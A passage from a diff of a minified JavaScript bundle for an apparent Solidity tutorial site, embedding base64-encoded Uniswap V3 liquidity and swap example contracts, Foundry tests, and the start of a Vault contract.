iAgICAgICAgdWludDI1NiBhbW91bnQwTWluOwogICAgICAgIHVpbnQyNTYgYW1vdW50MU1pbjsKICAgICAgICB1aW50MjU2IGRlYWRsaW5lOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlYXNlTGlxdWlkaXR5KERlY3JlYXNlTGlxdWlkaXR5UGFyYW1zIGNhbGxkYX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qIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIH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vbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],Bw=`

                    Examples of minting new position, collect fees, increase and decrease liquidity.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -6960,7 +6960,7 @@ IERC20 constant PAIR Uniswap V3

                    Foundry

                    Uniswap V3 Foundry example

                    -`,Gw=({prev:s,next:a})=>r.jsx(A,{version:bw,title:ww,description:kw,cyfrinLink:Zw,html:Bw,prev:s,next:a,codes:Ww}),fw="0.8.26",Vw="Uniswap V3 Swap Examples",Yw="Uniswap V3 swap examples",Xw="",vw=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKCmNvbnRyYWN0IFVuaXN3YXBWM011bHRpSG9wU3dhcCB7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChXRVRILCB1aW50MjQoMzAwMCksIFVTREMsIHVpbnQyNCgxMDApLCBEQUkpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRQYXJhbXMgbWVtb3J5IHBhcmFtcyA9IElTd2FwUm91dGVyMDIKICAgICAgICAgICAgLkV4YWN0SW5wdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRJbik7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIwMiB7CiAgICBzdHJ1Y3QgRXhhY3RJbnB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0KEV4YWN0SW5wdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmF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bGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc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gICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICA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nRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Rw=`

                    Uniswap V3 Single Hop Swap

                    +`,fw=({prev:s,next:a})=>r.jsx(A,{version:ww,title:kw,description:Zw,cyfrinLink:Ww,html:Bw,prev:s,next:a,codes:Gw}),Vw="0.8.26",Yw="Uniswap V3 Swap Examples",Xw="Uniswap V3 swap examples",Rw="",vw=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0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AgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5N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OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwd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0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiA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mF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Nw=`

                    Uniswap V3 Single Hop Swap

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -7276,7 +7276,7 @@ IERC20 constant PAIR address(swap)), 0, "DAI balance of swap != 0");
                         }
                     }
                    -
                    `,Nw=({prev:s,next:a})=>r.jsx(A,{version:fw,title:Vw,description:Yw,cyfrinLink:Xw,html:Rw,prev:s,next:a,codes:vw}),Hw="0.8.26",Fw="Vault",Kw="Vault",Mw="",Sw=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0